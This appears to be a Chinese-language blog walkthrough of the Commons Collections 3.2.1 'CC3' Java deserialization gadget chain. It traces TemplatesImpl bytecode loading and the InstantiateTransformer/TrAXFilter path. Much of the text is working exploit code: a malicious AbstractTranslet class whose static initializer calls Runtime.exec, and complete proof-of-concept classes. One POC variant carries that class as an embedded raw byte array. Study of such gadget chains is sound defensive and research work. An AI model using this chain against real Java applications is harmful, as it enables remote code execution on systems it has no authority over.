组件版本:common-collections3.2.1

jdk版本:1.8.0_172

TemplatesImpl动态加载字节码

TemplatesImpl类中,存在一个内部类TransletClassLoader继承了ClassLoader,重写了defineClass方法

🍛CC3反序列化分析 - 图1

自定义类加载器的过程如下:

🍛CC3反序列化分析 - 图2

defineClass()加载字节码转换为Java类,但是只加载不执行。

关于类加载机制可了解:https://www.yuque.com/m0re/demosec/dtdadg

在这里的defineClass方法看看哪里调用了,直接Find Usages找一下

同样在TemplateImpl类中,在defineTransletClasses方法中被调用

🍛CC3反序列化分析 - 图3

继续找利用链,后面再分析逻辑问题

这里找到三个调用的位置,可以挨个看

🍛CC3反序列化分析 - 图4

前两个是在一块的,可以一起看,由于这两个方法,比较简单,而且继续找利用处发现已经找不到了

🍛CC3反序列化分析 - 图5

所以再看第三个,这里是明显的发现有调用newInstance方法,可以对加载的字节码转换的类进行初始化执行。

🍛CC3反序列化分析 - 图6

再继续找哪里调用了getTransletInstance方法,唯一一处,只要利用了TemplateImpl类中newTransform方法,就可以调用,所以到这里利用链也是比较清晰了

🍛CC3反序列化分析 - 图7

画图理解一下

🍛CC3反序列化分析 - 图8

根据利用链编写POC

一步一步看,首先实例化一个TemplateImpl对象,这个对象调用newTransform()

  1. TemplatesImpl templates = new TemplatesImpl();
  2. templates.newTransformer();

这是调用,现在分析逻辑问题,应该如何调用到我们的链子需要调用的方法

直接调用getTransletInstance()无需其他操作,看下一步,如果是需要执行defineTransletClasses()方法,就必须保证_class为空,且_name不为空。_class不做操作就可以,而_name则需要赋值。

🍛CC3反序列化分析 - 图9

  1. Class cc3 = templates.getClass();
  2. Field nameField = cc3.getDeclaredField("_name");
  3. nameField.setAccessible(true);
  4. nameField.set(templates, "sfabc");

任意赋一个值。现在已经可以进入到defineTransletClasses()中来了。

然后就是一个判断_bytecodes是否为空的逻辑,这里也需要设置下_bytecodes的值

🍛CC3反序列化分析 - 图10
然后看到_bytecodes的类型是二维数组。

  1. private byte[][] _bytecodes = null;

然后再分析两处代码,是最后利用重写的defineClass方法的位置

  1. //一
  2. Class defineClass(final byte[] b) {
  3. return defineClass(null, b, 0, b.length);
  4. }
  5. //二
  6. _class[i] = loader.defineClass(_bytecodes[i]);

现在也应该理解了是怎么一回事了,POC这边传入赋值时应该传入双重数组,但是写的时候值写入一个就可以了,当然也可以写多个

这里是写好了Test.java然后编译为字节码文件,最后加载这个类的。

  1. Field bytecodesField = cc3.getDeclaredField("_bytecodes");
  2. bytecodesField.setAccessible(true);
  3. byte[] code = Files.readAllBytes(Paths.get("D://Test//Test.class"));
  4. byte[][] codes = {code};
  5. bytecodesField.set(templates, codes);

如需传入多个参数,适当修改并增加一维数组。

继续进行,可以看到这里还是需要传入一个参数,去调用getExternalExtensionsMap方法,后续不需要管,只需要保证_tfactory不为空即可。

🍛CC3反序列化分析 - 图11

然后需要查看_tfactory的参数类型,可以看到他是一个transient关键字修饰的,表示它不参与反序列化。不参与反序列化,传入的值就没有意义,所以需要看他是在哪里被赋值的。

  1. private transient TransformerFactoryImpl _tfactory = null;

既然他是不参与反序列化的参数,那么它一定在readObject方法中被定义。

🍛CC3反序列化分析 - 图12

所以定义的时候也只需要按照这个类型来就可以。POC应该这么加

  1. Field tfactoryField = cc3.getDeclaredField("_tfactory");
  2. tfactoryField.setAccessible(true);
  3. tfactoryField.set(templates, new TransformerFactoryImpl());

到最后还有一点需要注意,就是完整的链子执行,还有最后一个逻辑部分

🍛CC3反序列化分析 - 图13

这处是判断前面superClass(这里的superClass指的是_class[i].getSuperclass()也就是传入的字节码所加载的恶意类)的父类是否为ABSTRACT_TRANSLET查看一下也就是

🍛CC3反序列化分析 - 图14

先看逻辑,如果superClass的父类等同于ABSTRACT_TRANSLET那么就会给_transletIndex赋值(对应数组中的下标)总之是不会小于0的。

继续也就走不到else的逻辑里面。在进行下一个判断_transletIndex<0也不会报错

调试看下

🍛CC3反序列化分析 - 图15

成功走完该逻辑,所以这边也就不会报错了。

走完出来之后就执行了初始化的操作,就可以成功执行恶意类中的命令了。

🍛CC3反序列化分析 - 图16

最后说一下构造恶意类的时候需要注意的点

只继承AbstractTranslet会报错,还需要做一些其他的补充。可以看出来这里报错是必须为抽象类实现抽象方法。

🍛CC3反序列化分析 - 图17

这个时候跟进去这个父类中查看,发现它不仅是一个抽象类,还有一个Translet接口。

🍛CC3反序列化分析 - 图18

抽象方法只有一个,也就是

  1. transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)

🍛CC3反序列化分析 - 图19

当然除此之外,还需要去看它的接口中的方法有没有全部实现,只列出来重要的,因为其他的也都实现了。没必要提及。

  1. public void transform(DOM document, SerializationHandler handler)
  2. throws TransletException;
  3. public void transform(DOM document, SerializationHandler[] handlers)
  4. throws TransletException;
  5. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
  6. throws TransletException;

参数不同的构造方法,而上面的图中也显示了只实现了两个,还差一个

  1. public void transform(DOM document, SerializationHandler[] handlers)

到此,也就是最后需要实现的两个方法,最后的恶意类应该这么写

  1. package com.common.cc;
  2. import java.io.IOException;
  3. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  4. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  5. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  6. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  7. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  8. public class Test extends AbstractTranslet{
  9. static {
  10. try {
  11. Runtime.getRuntime().exec("calc");
  12. } catch (IOException e) {
  13. e.printStackTrace();
  14. }
  15. }
  16. @Override
  17. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  18. }
  19. @Override
  20. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  21. }
  22. }

回归CC3的分析

在CC3中,直接在上面的基础上,找了一个与前两条链子不一样的利用方式

查找调用newInstance方法地方,在TrAXFilter类中的构造方法里调用了newInstance()

🍛CC3反序列化分析 - 图20

但是这个类包括它的父类,都是没有序列化接口的,也就是这个类不能序列化和反序列化。如果要使没有序列化接口的类参与进行序列化和反序列化就必须从这个它的.class里赋值。

然后发现这条链子的作者找了一个类InstantiateTransformer来调用TrAXFilter的构造方法

实例化一个InstantiateTransformer对象

可以看到传入的值应当是数组

🍛CC3反序列化分析 - 图21

  1. InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
  2. instantiateTransformer.transform(TrAXFilter.class);

然后这条链子就算结束了,看下结果

🍛CC3反序列化分析 - 图22

最后POC&Test.java

  1. package com.common.cc;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import org.apache.commons.collections.functors.InstantiateTransformer;
  6. import javax.xml.transform.Templates;
  7. import java.lang.reflect.Field;
  8. import java.nio.file.Files;
  9. import java.nio.file.Paths;
  10. public class CC3 {
  11. public static void main(String[] args) throws Exception {
  12. TemplatesImpl templates = new TemplatesImpl();
  13. Class cc3 = templates.getClass();
  14. Field nameField = cc3.getDeclaredField("_name");
  15. nameField.setAccessible(true);
  16. nameField.set(templates, "sfabc");
  17. Field bytecodesField = cc3.getDeclaredField("_bytecodes");
  18. bytecodesField.setAccessible(true);
  19. byte[] code = Files.readAllBytes(Paths.get("D://Test//Test.class"));
  20. byte[][] codes = {code};
  21. bytecodesField.set(templates, codes);
  22. Field tfactoryField = cc3.getDeclaredField("_tfactory");
  23. tfactoryField.setAccessible(true);
  24. tfactoryField.set(templates, new TransformerFactoryImpl());
  25. //templates.newTransformer();
  26. InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
  27. instantiateTransformer.transform(TrAXFilter.class);
  28. }
  29. }
  1. package com.common.cc;
  2. import java.io.IOException;
  3. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  4. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  5. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  6. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  7. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  8. public class Test extends AbstractTranslet{
  9. static {
  10. try {
  11. Runtime.getRuntime().exec("calc");
  12. } catch (IOException e) {
  13. e.printStackTrace();
  14. }
  15. }
  16. @Override
  17. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  18. }
  19. @Override
  20. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  21. }
  22. }

还可以不使用Files.readAllBytes(Paths.get("D://Test//Test.class"));,直接将class文件转换为字节码,写在POC中。POC也就可能需要变动一下

POC改

  1. package com.common.cc;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  5. import org.apache.commons.collections.functors.InstantiateTransformer;
  6. import javax.xml.transform.Templates;
  7. import java.lang.reflect.Field;
  8. import java.nio.file.Files;
  9. import java.nio.file.Paths;
  10. public class CC3 {
  11. public static void main(String[] args) throws Exception {
  12. TemplatesImpl templates = new TemplatesImpl();
  13. Class cc3 = templates.getClass();
  14. Field nameField = cc3.getDeclaredField("_name");
  15. nameField.setAccessible(true);
  16. nameField.set(templates, "sfabc");
  17. Field bytecodesField = cc3.getDeclaredField("_bytecodes");
  18. bytecodesField.setAccessible(true);
  19. byte[] code = {-54,-2,-70,-66,0,0,0,52,0,52,10,0,8,0,36,10,0,37,0,38,8,0,39,10,0,37,0,40,7,0,41,10,0,5,0,42,7,0,43,7,0,44,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,20,76,99,111,109,47,99,111,109,109,111,110,47,99,99,47,84,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,45,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,41,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,84,101,115,116,46,106,97,118,97,12,0,9,0,10,7,0,46,12,0,47,0,48,1,0,4,99,97,108,99,12,0,49,0,50,1,0,19,106,97,118,97,47,105,111,47,73,79,69,120,99,101,112,116,105,111,110,12,0,51,0,10,1,0,18,99,111,109,47,99,111,109,109,111,110,47,99,99,47,84,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,15,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,0,33,0,7,0,8,0,0,0,0,0,4,0,1,0,9,0,10,0,1,0,11,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,11,0,13,0,0,0,12,0,1,0,0,0,5,0,14,0,15,0,0,0,1,0,16,0,17,0,2,0,11,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,23,0,13,0,0,0,32,0,3,0,0,0,1,0,14,0,15,0,0,0,0,0,1,0,18,0,19,0,1,0,0,0,1,0,20,0,21,0,2,0,22,0,0,0,4,0,1,0,23,0,1,0,16,0,24,0,2,0,11,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,12,0,0,0,6,0,1,0,0,0,28,0,13,0,0,0,42,0,4,0,0,0,1,0,14,0,15,0,0,0,0,0,1,0,18,0,19,0,1,0,0,0,1,0,25,0,26,0,2,0,0,0,1,0,27,0,28,0,3,0,22,0,0,0,4,0,1,0,23,0,8,0,29,0,10,0,1,0,11,0,0,0,97,0,2,0,1,0,0,0,18,-72,0,2,18,3,-74,0,4,87,-89,0,8,75,42,-74,0,6,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,12,0,0,0,22,0,5,0,0,0,14,0,9,0,17,0,12,0,15,0,13,0,16,0,17,0,18,0,13,0,0,0,12,0,1,0,13,0,4,0,30,0,31,0,0,0,32,0,0,0,7,0,2,76,7,0,33,4,0,1,0,34,0,0,0,2,0,35};
  20. byte[][] codes = {code};
  21. bytecodesField.set(templates, codes);
  22. Field tfactoryField = cc3.getDeclaredField("_tfactory");
  23. tfactoryField.setAccessible(true);
  24. tfactoryField.set(templates, new TransformerFactoryImpl());
  25. InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
  26. instantiateTransformer.transform(TrAXFilter.class);
  27. }
  28. }

执行没问题

🍛CC3反序列化分析 - 图23